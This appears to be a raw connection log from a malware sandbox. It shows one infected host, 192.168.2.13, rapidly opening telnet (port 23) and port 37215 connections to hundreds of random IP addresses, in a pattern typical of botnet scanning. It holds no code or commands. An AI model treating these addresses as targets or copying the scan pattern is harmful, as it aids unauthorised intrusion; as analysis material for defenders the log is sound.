Nov 23, 2023 05:14:50.601603031 CET	55738	23	192.168.2.13	223.110.53.86
Nov 23, 2023 05:14:50.601602077 CET	54970	37215	192.168.2.13	197.3.45.9
Nov 23, 2023 05:14:50.601604939 CET	55738	23	192.168.2.13	150.96.172.212
Nov 23, 2023 05:14:50.601603031 CET	55738	23	192.168.2.13	196.241.179.0
Nov 23, 2023 05:14:50.601608038 CET	54970	37215	192.168.2.13	156.178.112.129
Nov 23, 2023 05:14:50.601613045 CET	54970	37215	192.168.2.13	41.123.60.186
Nov 23, 2023 05:14:50.601613045 CET	54970	37215	192.168.2.13	41.88.187.150
Nov 23, 2023 05:14:50.601632118 CET	54970	37215	192.168.2.13	197.128.146.165
Nov 23, 2023 05:14:50.601632118 CET	55738	23	192.168.2.13	250.74.234.38
Nov 23, 2023 05:14:50.601636887 CET	55738	23	192.168.2.13	58.79.227.136
Nov 23, 2023 05:14:50.601638079 CET	55738	23	192.168.2.13	165.17.120.143
Nov 23, 2023 05:14:50.601636887 CET	55738	23	192.168.2.13	60.168.237.86
Nov 23, 2023 05:14:50.601638079 CET	54970	37215	192.168.2.13	197.160.250.84
Nov 23, 2023 05:14:50.601638079 CET	54970	37215	192.168.2.13	197.117.31.80
Nov 23, 2023 05:14:50.601634026 CET	54970	37215	192.168.2.13	41.231.107.187
Nov 23, 2023 05:14:50.601650953 CET	55738	23	192.168.2.13	16.209.39.254
Nov 23, 2023 05:14:50.601658106 CET	54970	37215	192.168.2.13	156.14.6.190
Nov 23, 2023 05:14:50.601658106 CET	54970	37215	192.168.2.13	41.176.227.242
Nov 23, 2023 05:14:50.601659060 CET	54970	37215	192.168.2.13	41.17.208.156
Nov 23, 2023 05:14:50.601659060 CET	54970	37215	192.168.2.13	156.35.105.111
Nov 23, 2023 05:14:50.601664066 CET	54970	37215	192.168.2.13	197.235.202.48
Nov 23, 2023 05:14:50.601667881 CET	55738	23	192.168.2.13	217.53.185.41
Nov 23, 2023 05:14:50.601670980 CET	55738	23	192.168.2.13	210.8.211.34
Nov 23, 2023 05:14:50.601686001 CET	54970	37215	192.168.2.13	197.210.188.181
Nov 23, 2023 05:14:50.601692915 CET	54970	37215	192.168.2.13	41.213.36.144
Nov 23, 2023 05:14:50.601692915 CET	54970	37215	192.168.2.13	41.159.254.175
Nov 23, 2023 05:14:50.601692915 CET	54970	37215	192.168.2.13	197.43.234.31
Nov 23, 2023 05:14:50.601695061 CET	55738	23	192.168.2.13	148.159.242.187
Nov 23, 2023 05:14:50.601696014 CET	54970	37215	192.168.2.13	41.132.117.86
Nov 23, 2023 05:14:50.601696014 CET	54970	37215	192.168.2.13	197.100.225.235
Nov 23, 2023 05:14:50.601696014 CET	55738	23	192.168.2.13	109.178.50.4
Nov 23, 2023 05:14:50.601696014 CET	54970	37215	192.168.2.13	197.142.190.31
Nov 23, 2023 05:14:50.601696014 CET	55738	23	192.168.2.13	248.128.144.91
Nov 23, 2023 05:14:50.601701975 CET	54970	37215	192.168.2.13	156.225.76.194
Nov 23, 2023 05:14:50.601701975 CET	54970	37215	192.168.2.13	156.41.66.71
Nov 23, 2023 05:14:50.601706028 CET	55738	23	192.168.2.13	99.31.97.50
Nov 23, 2023 05:14:50.601708889 CET	55738	23	192.168.2.13	66.35.169.153
Nov 23, 2023 05:14:50.601708889 CET	55738	23	192.168.2.13	158.51.87.191
Nov 23, 2023 05:14:50.601710081 CET	55738	23	192.168.2.13	223.200.213.81
Nov 23, 2023 05:14:50.601710081 CET	54970	37215	192.168.2.13	41.82.118.197
Nov 23, 2023 05:14:50.601710081 CET	54970	37215	192.168.2.13	197.172.58.32
Nov 23, 2023 05:14:50.601716042 CET	55738	23	192.168.2.13	184.69.221.194
Nov 23, 2023 05:14:50.601728916 CET	55738	23	192.168.2.13	81.33.79.87
Nov 23, 2023 05:14:50.601738930 CET	55738	23	192.168.2.13	42.74.194.105
Nov 23, 2023 05:14:50.601738930 CET	55738	23	192.168.2.13	171.64.190.8
Nov 23, 2023 05:14:50.601739883 CET	55738	23	192.168.2.13	243.249.76.81
Nov 23, 2023 05:14:50.601747990 CET	55738	23	192.168.2.13	23.211.188.227
Nov 23, 2023 05:14:50.601759911 CET	55738	23	192.168.2.13	42.18.61.94
Nov 23, 2023 05:14:50.601763964 CET	55738	23	192.168.2.13	169.178.223.48
Nov 23, 2023 05:14:50.601773024 CET	55738	23	192.168.2.13	118.107.47.147
Nov 23, 2023 05:14:50.601773024 CET	55738	23	192.168.2.13	222.18.32.25
Nov 23, 2023 05:14:50.601784945 CET	55738	23	192.168.2.13	75.187.170.253
Nov 23, 2023 05:14:50.601797104 CET	55738	23	192.168.2.13	40.234.82.240
Nov 23, 2023 05:14:50.601797104 CET	55738	23	192.168.2.13	86.177.219.147
Nov 23, 2023 05:14:50.601802111 CET	55738	23	192.168.2.13	124.7.128.129
Nov 23, 2023 05:14:50.601815939 CET	55738	23	192.168.2.13	19.99.36.46
Nov 23, 2023 05:14:50.601818085 CET	55738	23	192.168.2.13	125.31.55.99
Nov 23, 2023 05:14:50.601825953 CET	55738	23	192.168.2.13	1.173.165.22
Nov 23, 2023 05:14:50.601843119 CET	55738	23	192.168.2.13	57.199.190.225
Nov 23, 2023 05:14:50.601843119 CET	55738	23	192.168.2.13	79.11.32.147
Nov 23, 2023 05:14:50.601843119 CET	55738	23	192.168.2.13	1.100.191.90
Nov 23, 2023 05:14:50.601846933 CET	55738	23	192.168.2.13	90.76.221.33
Nov 23, 2023 05:14:50.601850033 CET	55738	23	192.168.2.13	204.201.115.64
Nov 23, 2023 05:14:50.601855040 CET	55738	23	192.168.2.13	170.206.47.216
Nov 23, 2023 05:14:50.601864100 CET	55738	23	192.168.2.13	172.169.106.155
Nov 23, 2023 05:14:50.601875067 CET	55738	23	192.168.2.13	213.128.121.241
Nov 23, 2023 05:14:50.601878881 CET	55738	23	192.168.2.13	184.184.190.51
Nov 23, 2023 05:14:50.601892948 CET	55738	23	192.168.2.13	142.53.146.242
Nov 23, 2023 05:14:50.601893902 CET	55738	23	192.168.2.13	35.211.116.115
Nov 23, 2023 05:14:50.601906061 CET	55738	23	192.168.2.13	179.172.183.243
Nov 23, 2023 05:14:50.601908922 CET	55738	23	192.168.2.13	103.31.14.221
Nov 23, 2023 05:14:50.601914883 CET	55738	23	192.168.2.13	35.235.164.231
Nov 23, 2023 05:14:50.601943016 CET	55738	23	192.168.2.13	170.143.212.4
Nov 23, 2023 05:14:50.601943970 CET	55738	23	192.168.2.13	115.233.90.37
Nov 23, 2023 05:14:50.601953983 CET	55738	23	192.168.2.13	254.6.198.40
Nov 23, 2023 05:14:50.601955891 CET	55738	23	192.168.2.13	78.11.148.205
Nov 23, 2023 05:14:50.601963043 CET	55738	23	192.168.2.13	109.213.249.243
Nov 23, 2023 05:14:50.601967096 CET	55738	23	192.168.2.13	209.242.242.81
Nov 23, 2023 05:14:50.601980925 CET	55738	23	192.168.2.13	253.125.114.81
Nov 23, 2023 05:14:50.601984024 CET	55738	23	192.168.2.13	212.23.52.33
Nov 23, 2023 05:14:50.601986885 CET	55738	23	192.168.2.13	241.0.11.99
Nov 23, 2023 05:14:50.601999044 CET	55738	23	192.168.2.13	247.193.234.143
Nov 23, 2023 05:14:50.602015018 CET	55738	23	192.168.2.13	63.127.193.208
Nov 23, 2023 05:14:50.602015972 CET	55738	23	192.168.2.13	156.86.230.87
Nov 23, 2023 05:14:50.602015972 CET	55738	23	192.168.2.13	99.13.254.140
Nov 23, 2023 05:14:50.602035999 CET	55738	23	192.168.2.13	243.94.230.86
Nov 23, 2023 05:14:50.602037907 CET	55738	23	192.168.2.13	97.155.60.64
Nov 23, 2023 05:14:50.602041960 CET	55738	23	192.168.2.13	76.138.194.57
Nov 23, 2023 05:14:50.602041960 CET	55738	23	192.168.2.13	16.218.95.182
Nov 23, 2023 05:14:50.602046967 CET	55738	23	192.168.2.13	200.101.121.239
Nov 23, 2023 05:14:50.602054119 CET	55738	23	192.168.2.13	73.171.186.41
Nov 23, 2023 05:14:50.602062941 CET	55738	23	192.168.2.13	167.184.143.50
Nov 23, 2023 05:14:50.602066040 CET	55738	23	192.168.2.13	142.46.204.28
Nov 23, 2023 05:14:50.602078915 CET	55738	23	192.168.2.13	62.35.53.34
Nov 23, 2023 05:14:50.602078915 CET	55738	23	192.168.2.13	90.134.244.12
Nov 23, 2023 05:14:50.602091074 CET	55738	23	192.168.2.13	194.172.10.94
Nov 23, 2023 05:14:50.602097988 CET	55738	23	192.168.2.13	178.168.124.63
Nov 23, 2023 05:14:50.602108002 CET	55738	23	192.168.2.13	36.23.69.139
Nov 23, 2023 05:14:50.602108955 CET	55738	23	192.168.2.13	91.250.177.98
Nov 23, 2023 05:14:50.602113008 CET	55738	23	192.168.2.13	240.156.224.87
Nov 23, 2023 05:14:50.602122068 CET	55738	23	192.168.2.13	249.250.4.16
Nov 23, 2023 05:14:50.602128029 CET	55738	23	192.168.2.13	150.31.229.57
Nov 23, 2023 05:14:50.602128983 CET	55738	23	192.168.2.13	45.8.110.32
Nov 23, 2023 05:14:50.602128983 CET	55738	23	192.168.2.13	255.186.116.193
Nov 23, 2023 05:14:50.602140903 CET	55738	23	192.168.2.13	115.230.128.209
Nov 23, 2023 05:14:50.602154016 CET	55738	23	192.168.2.13	253.86.190.123
Nov 23, 2023 05:14:50.602160931 CET	55738	23	192.168.2.13	114.209.147.47
Nov 23, 2023 05:14:50.602160931 CET	55738	23	192.168.2.13	19.108.29.116
Nov 23, 2023 05:14:50.602171898 CET	55738	23	192.168.2.13	94.219.17.140
Nov 23, 2023 05:14:50.602179050 CET	55738	23	192.168.2.13	243.54.90.0
Nov 23, 2023 05:14:50.602186918 CET	55738	23	192.168.2.13	36.10.252.251
Nov 23, 2023 05:14:50.602194071 CET	55738	23	192.168.2.13	126.41.69.112
Nov 23, 2023 05:14:50.602199078 CET	55738	23	192.168.2.13	147.119.59.61
Nov 23, 2023 05:14:50.602199078 CET	55738	23	192.168.2.13	122.58.143.14
Nov 23, 2023 05:14:50.602212906 CET	55738	23	192.168.2.13	242.224.136.161
Nov 23, 2023 05:14:50.602220058 CET	55738	23	192.168.2.13	157.114.210.70
Nov 23, 2023 05:14:50.602221966 CET	55738	23	192.168.2.13	141.7.222.129
Nov 23, 2023 05:14:50.602225065 CET	55738	23	192.168.2.13	75.19.175.40
Nov 23, 2023 05:14:50.602226019 CET	55738	23	192.168.2.13	8.126.90.171
Nov 23, 2023 05:14:50.602233887 CET	55738	23	192.168.2.13	60.149.195.99
Nov 23, 2023 05:14:50.602251053 CET	55738	23	192.168.2.13	198.247.12.143
Nov 23, 2023 05:14:50.602251053 CET	55738	23	192.168.2.13	110.145.62.25
Nov 23, 2023 05:14:50.602263927 CET	55738	23	192.168.2.13	170.54.27.206
Nov 23, 2023 05:14:50.602272034 CET	55738	23	192.168.2.13	72.44.35.245
Nov 23, 2023 05:14:50.602282047 CET	55738	23	192.168.2.13	172.215.185.141
Nov 23, 2023 05:14:50.602288008 CET	55738	23	192.168.2.13	218.57.4.12
Nov 23, 2023 05:14:50.602291107 CET	55738	23	192.168.2.13	168.39.44.251
Nov 23, 2023 05:14:50.602299929 CET	55738	23	192.168.2.13	102.66.64.16
Nov 23, 2023 05:14:50.602307081 CET	55738	23	192.168.2.13	246.45.89.110
Nov 23, 2023 05:14:50.602314949 CET	55738	23	192.168.2.13	191.242.142.122
Nov 23, 2023 05:14:50.602323055 CET	55738	23	192.168.2.13	249.247.134.187
Nov 23, 2023 05:14:50.602334976 CET	55738	23	192.168.2.13	117.144.188.160
Nov 23, 2023 05:14:50.602335930 CET	55738	23	192.168.2.13	181.178.64.138
Nov 23, 2023 05:14:50.602354050 CET	55738	23	192.168.2.13	46.201.106.19
Nov 23, 2023 05:14:50.602354050 CET	55738	23	192.168.2.13	58.52.196.143
Nov 23, 2023 05:14:50.602365017 CET	55738	23	192.168.2.13	23.24.38.214
Nov 23, 2023 05:14:50.602379084 CET	55738	23	192.168.2.13	151.51.144.91
Nov 23, 2023 05:14:50.602385044 CET	55738	23	192.168.2.13	242.112.192.42
Nov 23, 2023 05:14:50.602396011 CET	55738	23	192.168.2.13	178.114.2.216
Nov 23, 2023 05:14:50.602396965 CET	55738	23	192.168.2.13	20.181.31.60
Nov 23, 2023 05:14:50.602411032 CET	55738	23	192.168.2.13	94.250.157.82
Nov 23, 2023 05:14:50.602415085 CET	55738	23	192.168.2.13	192.226.55.155
Nov 23, 2023 05:14:50.602427959 CET	55738	23	192.168.2.13	35.31.251.75
Nov 23, 2023 05:14:50.602427959 CET	55738	23	192.168.2.13	136.154.29.118
Nov 23, 2023 05:14:50.602442980 CET	55738	23	192.168.2.13	23.216.229.238
Nov 23, 2023 05:14:50.602443933 CET	55738	23	192.168.2.13	181.69.161.228
Nov 23, 2023 05:14:50.602443933 CET	55738	23	192.168.2.13	2.193.127.255
Nov 23, 2023 05:14:50.602464914 CET	55738	23	192.168.2.13	206.227.87.234
Nov 23, 2023 05:14:50.602474928 CET	55738	23	192.168.2.13	185.44.181.94
Nov 23, 2023 05:14:50.602488041 CET	55738	23	192.168.2.13	98.241.120.82
Nov 23, 2023 05:14:50.602488041 CET	55738	23	192.168.2.13	96.192.98.154
Nov 23, 2023 05:14:50.602488995 CET	55738	23	192.168.2.13	65.88.124.216
Nov 23, 2023 05:14:50.602503061 CET	55738	23	192.168.2.13	150.172.81.107
Nov 23, 2023 05:14:50.602504969 CET	55738	23	192.168.2.13	140.217.49.132
Nov 23, 2023 05:14:50.602504969 CET	55738	23	192.168.2.13	12.148.9.16
Nov 23, 2023 05:14:50.602513075 CET	55738	23	192.168.2.13	217.92.55.183
Nov 23, 2023 05:14:50.602526903 CET	55738	23	192.168.2.13	217.90.30.101
Nov 23, 2023 05:14:50.602531910 CET	55738	23	192.168.2.13	39.159.48.216
Nov 23, 2023 05:14:50.602531910 CET	55738	23	192.168.2.13	27.39.76.55
Nov 23, 2023 05:14:50.602545023 CET	55738	23	192.168.2.13	242.170.123.83
Nov 23, 2023 05:14:50.602561951 CET	55738	23	192.168.2.13	199.53.244.52
Nov 23, 2023 05:14:50.602576017 CET	55738	23	192.168.2.13	116.116.127.20
Nov 23, 2023 05:14:50.602576971 CET	55738	23	192.168.2.13	120.9.171.182
Nov 23, 2023 05:14:50.602585077 CET	55738	23	192.168.2.13	212.91.243.30
Nov 23, 2023 05:14:50.602596998 CET	55738	23	192.168.2.13	114.93.237.105
Nov 23, 2023 05:14:50.602615118 CET	55738	23	192.168.2.13	220.90.37.38
Nov 23, 2023 05:14:50.602615118 CET	55738	23	192.168.2.13	79.254.133.236
Nov 23, 2023 05:14:50.602627993 CET	55738	23	192.168.2.13	118.144.213.193
Nov 23, 2023 05:14:50.602638960 CET	55738	23	192.168.2.13	70.164.144.167
Nov 23, 2023 05:14:50.602634907 CET	55738	23	192.168.2.13	187.134.31.81
Nov 23, 2023 05:14:50.602652073 CET	55738	23	192.168.2.13	240.22.92.195
Nov 23, 2023 05:14:50.602652073 CET	55738	23	192.168.2.13	8.48.169.117
Nov 23, 2023 05:14:50.602655888 CET	55738	23	192.168.2.13	186.209.54.124
Nov 23, 2023 05:14:50.602672100 CET	55738	23	192.168.2.13	200.241.181.76
Nov 23, 2023 05:14:50.602686882 CET	55738	23	192.168.2.13	247.9.76.85
Nov 23, 2023 05:14:50.602689028 CET	55738	23	192.168.2.13	126.6.163.0
Nov 23, 2023 05:14:50.602698088 CET	55738	23	192.168.2.13	204.37.110.125
Nov 23, 2023 05:14:50.602704048 CET	55738	23	192.168.2.13	173.160.74.253
Nov 23, 2023 05:14:50.602739096 CET	55738	23	192.168.2.13	218.200.23.105
Nov 23, 2023 05:14:50.602750063 CET	55738	23	192.168.2.13	168.192.38.150
Nov 23, 2023 05:14:50.602757931 CET	55738	23	192.168.2.13	165.71.57.110
Nov 23, 2023 05:14:50.602766037 CET	55738	23	192.168.2.13	120.58.57.139
Nov 23, 2023 05:14:50.602787018 CET	55738	23	192.168.2.13	23.159.227.7
Nov 23, 2023 05:14:50.602791071 CET	55738	23	192.168.2.13	120.172.128.169
Nov 23, 2023 05:14:50.602792025 CET	55738	23	192.168.2.13	75.198.97.39
Nov 23, 2023 05:14:50.602809906 CET	55738	23	192.168.2.13	183.82.144.235
Nov 23, 2023 05:14:50.602813005 CET	55738	23	192.168.2.13	61.61.217.241
Nov 23, 2023 05:14:50.602833986 CET	55738	23	192.168.2.13	189.93.53.208
Nov 23, 2023 05:14:50.602844954 CET	55738	23	192.168.2.13	16.210.125.139
Nov 23, 2023 05:14:50.602845907 CET	55738	23	192.168.2.13	113.94.74.247
Nov 23, 2023 05:14:50.602858067 CET	55738	23	192.168.2.13	247.88.83.226
Nov 23, 2023 05:14:50.602858067 CET	55738	23	192.168.2.13	168.200.5.22
Nov 23, 2023 05:14:50.602875948 CET	55738	23	192.168.2.13	32.254.101.80
Nov 23, 2023 05:14:50.602888107 CET	55738	23	192.168.2.13	60.97.180.149
Nov 23, 2023 05:14:50.602893114 CET	55738	23	192.168.2.13	44.146.57.177
Nov 23, 2023 05:14:50.602905989 CET	55738	23	192.168.2.13	94.190.73.58
Nov 23, 2023 05:14:50.602910042 CET	55738	23	192.168.2.13	117.83.209.206
Nov 23, 2023 05:14:50.602916002 CET	55738	23	192.168.2.13	93.39.220.161
Nov 23, 2023 05:14:50.602926016 CET	55738	23	192.168.2.13	218.211.191.38
Nov 23, 2023 05:14:50.602972031 CET	55738	23	192.168.2.13	104.238.69.248
Nov 23, 2023 05:14:50.602983952 CET	55738	23	192.168.2.13	209.2.97.143
Nov 23, 2023 05:14:50.602998018 CET	55738	23	192.168.2.13	63.182.109.224
Nov 23, 2023 05:14:50.602998972 CET	55738	23	192.168.2.13	166.100.196.241
Nov 23, 2023 05:14:50.602998972 CET	55738	23	192.168.2.13	146.99.155.182
Nov 23, 2023 05:14:50.603013992 CET	55738	23	192.168.2.13	14.73.26.25
Nov 23, 2023 05:14:50.603013992 CET	55738	23	192.168.2.13	19.90.77.11
Nov 23, 2023 05:14:50.603029966 CET	55738	23	192.168.2.13	221.251.78.53
Nov 23, 2023 05:14:50.603037119 CET	55738	23	192.168.2.13	209.119.115.77
Nov 23, 2023 05:14:50.603037119 CET	55738	23	192.168.2.13	192.50.152.125
Nov 23, 2023 05:14:50.603051901 CET	55738	23	192.168.2.13	246.6.85.90
Nov 23, 2023 05:14:50.603051901 CET	55738	23	192.168.2.13	201.3.171.230
Nov 23, 2023 05:14:50.603058100 CET	55738	23	192.168.2.13	198.1.162.233
Nov 23, 2023 05:14:50.603065014 CET	55738	23	192.168.2.13	173.163.128.196
Nov 23, 2023 05:14:50.603072882 CET	55738	23	192.168.2.13	205.124.221.176
Nov 23, 2023 05:14:50.603080988 CET	55738	23	192.168.2.13	112.148.185.81
Nov 23, 2023 05:14:50.603080988 CET	55738	23	192.168.2.13	202.194.31.4
Nov 23, 2023 05:14:50.603094101 CET	55738	23	192.168.2.13	255.62.67.39
Nov 23, 2023 05:14:50.603110075 CET	55738	23	192.168.2.13	64.255.88.125
Nov 23, 2023 05:14:50.603115082 CET	55738	23	192.168.2.13	61.13.123.190
Nov 23, 2023 05:14:50.603116989 CET	55738	23	192.168.2.13	170.107.235.211
Nov 23, 2023 05:14:50.603131056 CET	55738	23	192.168.2.13	193.249.45.18
Nov 23, 2023 05:14:50.603137016 CET	55738	23	192.168.2.13	212.158.234.226
Nov 23, 2023 05:14:50.603140116 CET	55738	23	192.168.2.13	4.89.75.38
Nov 23, 2023 05:14:50.603144884 CET	55738	23	192.168.2.13	17.6.67.145
Nov 23, 2023 05:14:50.603157043 CET	55738	23	192.168.2.13	111.12.231.251
Nov 23, 2023 05:14:50.603163958 CET	55738	23	192.168.2.13	54.5.154.28
Nov 23, 2023 05:14:50.603166103 CET	55738	23	192.168.2.13	150.55.40.120
Nov 23, 2023 05:14:50.603167057 CET	55738	23	192.168.2.13	246.83.18.38
Nov 23, 2023 05:14:50.603174925 CET	55738	23	192.168.2.13	194.186.7.238
Nov 23, 2023 05:14:50.603188992 CET	55738	23	192.168.2.13	207.91.72.191
Nov 23, 2023 05:14:50.603193045 CET	55738	23	192.168.2.13	192.139.180.123
Nov 23, 2023 05:14:50.603193998 CET	55738	23	192.168.2.13	114.117.105.196
Nov 23, 2023 05:14:50.603210926 CET	55738	23	192.168.2.13	157.21.89.128
Nov 23, 2023 05:14:50.603212118 CET	55738	23	192.168.2.13	48.26.0.70
Nov 23, 2023 05:14:50.603224039 CET	55738	23	192.168.2.13	48.152.127.245
Nov 23, 2023 05:14:50.603226900 CET	55738	23	192.168.2.13	89.250.33.19
Nov 23, 2023 05:14:50.603231907 CET	55738	23	192.168.2.13	116.115.194.179
Nov 23, 2023 05:14:50.603238106 CET	55738	23	192.168.2.13	216.81.161.79
Nov 23, 2023 05:14:50.603245974 CET	55738	23	192.168.2.13	177.238.41.251
Nov 23, 2023 05:14:50.603252888 CET	55738	23	192.168.2.13	159.134.252.153
Nov 23, 2023 05:14:50.603260994 CET	55738	23	192.168.2.13	37.3.103.245
Nov 23, 2023 05:14:50.603271008 CET	55738	23	192.168.2.13	220.77.185.16
Nov 23, 2023 05:14:50.603274107 CET	55738	23	192.168.2.13	63.55.51.229
Nov 23, 2023 05:14:50.603285074 CET	55738	23	192.168.2.13	151.239.243.192
Nov 23, 2023 05:14:50.603293896 CET	55738	23	192.168.2.13	189.14.98.151
Nov 23, 2023 05:14:50.603296995 CET	55738	23	192.168.2.13	48.171.201.89
Nov 23, 2023 05:14:50.603307009 CET	55738	23	192.168.2.13	169.173.235.232
Nov 23, 2023 05:14:50.603312969 CET	55738	23	192.168.2.13	195.100.34.49
Nov 23, 2023 05:14:50.603328943 CET	55738	23	192.168.2.13	126.155.57.34
Nov 23, 2023 05:14:50.603328943 CET	55738	23	192.168.2.13	94.24.29.125
Nov 23, 2023 05:14:50.603329897 CET	55738	23	192.168.2.13	67.161.144.192
Nov 23, 2023 05:14:50.603329897 CET	55738	23	192.168.2.13	246.241.156.165
Nov 23, 2023 05:14:50.603343010 CET	55738	23	192.168.2.13	151.130.206.63
Nov 23, 2023 05:14:50.603348970 CET	55738	23	192.168.2.13	195.215.253.247
Nov 23, 2023 05:14:50.603363037 CET	55738	23	192.168.2.13	75.127.153.71
Nov 23, 2023 05:14:50.603363991 CET	55738	23	192.168.2.13	94.33.0.131
Nov 23, 2023 05:14:50.603368044 CET	55738	23	192.168.2.13	87.113.244.138
Nov 23, 2023 05:14:50.603383064 CET	55738	23	192.168.2.13	252.63.98.113
Nov 23, 2023 05:14:50.603390932 CET	55738	23	192.168.2.13	251.160.233.136
Nov 23, 2023 05:14:50.603400946 CET	55738	23	192.168.2.13	27.196.241.19
Nov 23, 2023 05:14:50.603410006 CET	55738	23	192.168.2.13	153.158.127.153
Nov 23, 2023 05:14:50.603410006 CET	55738	23	192.168.2.13	82.205.247.195
Nov 23, 2023 05:14:50.603415966 CET	55738	23	192.168.2.13	213.200.39.90
Nov 23, 2023 05:14:50.603426933 CET	55738	23	192.168.2.13	186.202.146.73
Nov 23, 2023 05:14:50.603435040 CET	55738	23	192.168.2.13	136.110.61.22
Nov 23, 2023 05:14:50.603446007 CET	55738	23	192.168.2.13	173.49.35.98
Nov 23, 2023 05:14:50.603451967 CET	55738	23	192.168.2.13	192.54.3.120
Nov 23, 2023 05:14:50.603455067 CET	55738	23	192.168.2.13	155.190.152.231
Nov 23, 2023 05:14:50.603468895 CET	55738	23	192.168.2.13	57.165.166.79
Nov 23, 2023 05:14:50.603483915 CET	55738	23	192.168.2.13	122.119.203.210
Nov 23, 2023 05:14:50.603483915 CET	55738	23	192.168.2.13	208.101.142.226
Nov 23, 2023 05:14:50.603502989 CET	55738	23	192.168.2.13	96.78.20.55
Nov 23, 2023 05:14:50.603513002 CET	55738	23	192.168.2.13	112.158.236.90
Nov 23, 2023 05:14:50.603513002 CET	55738	23	192.168.2.13	220.73.212.88
Nov 23, 2023 05:14:50.603522062 CET	55738	23	192.168.2.13	109.202.37.234
Nov 23, 2023 05:14:50.603535891 CET	55738	23	192.168.2.13	45.47.73.28
Nov 23, 2023 05:14:50.603545904 CET	55738	23	192.168.2.13	175.126.153.231
Nov 23, 2023 05:14:50.603545904 CET	55738	23	192.168.2.13	207.253.7.181
Nov 23, 2023 05:14:50.603563070 CET	55738	23	192.168.2.13	42.149.118.202
Nov 23, 2023 05:14:50.603564978 CET	55738	23	192.168.2.13	179.246.251.229
Nov 23, 2023 05:14:50.603566885 CET	55738	23	192.168.2.13	66.124.1.188
Nov 23, 2023 05:14:50.603566885 CET	55738	23	192.168.2.13	75.71.137.91
Nov 23, 2023 05:14:50.603578091 CET	55738	23	192.168.2.13	217.66.137.39
Nov 23, 2023 05:14:50.603586912 CET	55738	23	192.168.2.13	67.255.75.56
Nov 23, 2023 05:14:50.603590965 CET	55738	23	192.168.2.13	86.92.134.78
Nov 23, 2023 05:14:50.603605032 CET	55738	23	192.168.2.13	207.239.228.199
Nov 23, 2023 05:14:50.603607893 CET	55738	23	192.168.2.13	162.221.20.18
Nov 23, 2023 05:14:50.603626966 CET	55738	23	192.168.2.13	212.135.74.170
Nov 23, 2023 05:14:50.603629112 CET	55738	23	192.168.2.13	190.143.159.102
Nov 23, 2023 05:14:50.603636980 CET	55738	23	192.168.2.13	136.56.245.86
Nov 23, 2023 05:14:50.603642941 CET	55738	23	192.168.2.13	200.138.20.139
Nov 23, 2023 05:14:50.603662014 CET	55738	23	192.168.2.13	255.190.8.244
Nov 23, 2023 05:14:50.603662014 CET	55738	23	192.168.2.13	204.237.220.121
Nov 23, 2023 05:14:50.603666067 CET	55738	23	192.168.2.13	171.252.48.183
Nov 23, 2023 05:14:50.603677988 CET	55738	23	192.168.2.13	182.239.75.159
Nov 23, 2023 05:14:50.603679895 CET	55738	23	192.168.2.13	252.33.49.251
Nov 23, 2023 05:14:50.603679895 CET	55738	23	192.168.2.13	42.68.90.125
Nov 23, 2023 05:14:50.603699923 CET	55738	23	192.168.2.13	72.252.178.13
Nov 23, 2023 05:14:50.603708982 CET	55738	23	192.168.2.13	78.66.230.105
Nov 23, 2023 05:14:50.603727102 CET	55738	23	192.168.2.13	74.254.179.195
Nov 23, 2023 05:14:50.603730917 CET	55738	23	192.168.2.13	166.238.223.9
Nov 23, 2023 05:14:50.603734016 CET	55738	23	192.168.2.13	62.226.25.2
Nov 23, 2023 05:14:50.603737116 CET	55738	23	192.168.2.13	117.8.135.184
Nov 23, 2023 05:14:50.603754044 CET	55738	23	192.168.2.13	82.244.167.94
Nov 23, 2023 05:14:50.603761911 CET	55738	23	192.168.2.13	114.57.34.242
Nov 23, 2023 05:14:50.603775024 CET	55738	23	192.168.2.13	12.217.105.224
Nov 23, 2023 05:14:50.603780031 CET	55738	23	192.168.2.13	184.121.103.166
Nov 23, 2023 05:14:50.603790045 CET	55738	23	192.168.2.13	242.65.201.228
Nov 23, 2023 05:14:50.603811979 CET	55738	23	192.168.2.13	118.3.103.131
Nov 23, 2023 05:14:50.603821993 CET	55738	23	192.168.2.13	175.141.55.72
Nov 23, 2023 05:14:50.603822947 CET	55738	23	192.168.2.13	149.121.37.166
Nov 23, 2023 05:14:50.603832960 CET	55738	23	192.168.2.13	181.180.143.193
Nov 23, 2023 05:14:50.603842020 CET	55738	23	192.168.2.13	113.2.22.153
Nov 23, 2023 05:14:50.603851080 CET	55738	23	192.168.2.13	103.239.130.24
Nov 23, 2023 05:14:50.603851080 CET	55738	23	192.168.2.13	80.152.35.44
Nov 23, 2023 05:14:50.603858948 CET	55738	23	192.168.2.13	126.250.78.7
Nov 23, 2023 05:14:50.603876114 CET	55738	23	192.168.2.13	169.121.96.244
Nov 23, 2023 05:14:50.603877068 CET	55738	23	192.168.2.13	194.252.85.74
Nov 23, 2023 05:14:50.603882074 CET	55738	23	192.168.2.13	115.205.42.160
Nov 23, 2023 05:14:50.603888988 CET	55738	23	192.168.2.13	98.153.12.186
Nov 23, 2023 05:14:50.603888988 CET	55738	23	192.168.2.13	66.159.145.246
Nov 23, 2023 05:14:50.603899002 CET	55738	23	192.168.2.13	195.161.2.253
Nov 23, 2023 05:14:50.603902102 CET	55738	23	192.168.2.13	108.181.90.179
Nov 23, 2023 05:14:50.603912115 CET	55738	23	192.168.2.13	121.237.3.167
Nov 23, 2023 05:14:50.603919983 CET	55738	23	192.168.2.13	36.23.21.39
Nov 23, 2023 05:14:50.603934050 CET	55738	23	192.168.2.13	182.32.191.207
Nov 23, 2023 05:14:50.603935003 CET	55738	23	192.168.2.13	77.20.97.84
Nov 23, 2023 05:14:50.603936911 CET	55738	23	192.168.2.13	35.54.164.38
Nov 23, 2023 05:14:50.603944063 CET	55738	23	192.168.2.13	4.10.140.181
Nov 23, 2023 05:14:50.603954077 CET	55738	23	192.168.2.13	167.2.49.20
Nov 23, 2023 05:14:50.603965998 CET	55738	23	192.168.2.13	171.70.56.67
Nov 23, 2023 05:14:50.603975058 CET	55738	23	192.168.2.13	198.102.195.79
Nov 23, 2023 05:14:50.603984118 CET	55738	23	192.168.2.13	146.82.154.19
Nov 23, 2023 05:14:50.603991985 CET	55738	23	192.168.2.13	183.113.164.242
Nov 23, 2023 05:14:50.604000092 CET	55738	23	192.168.2.13	48.46.186.140
Nov 23, 2023 05:14:50.604005098 CET	55738	23	192.168.2.13	64.19.248.213
Nov 23, 2023 05:14:50.604010105 CET	55738	23	192.168.2.13	210.218.167.106
Nov 23, 2023 05:14:50.604010105 CET	55738	23	192.168.2.13	79.53.78.124
Nov 23, 2023 05:14:50.604032040 CET	55738	23	192.168.2.13	220.12.45.146
Nov 23, 2023 05:14:50.604038000 CET	55738	23	192.168.2.13	14.80.23.60
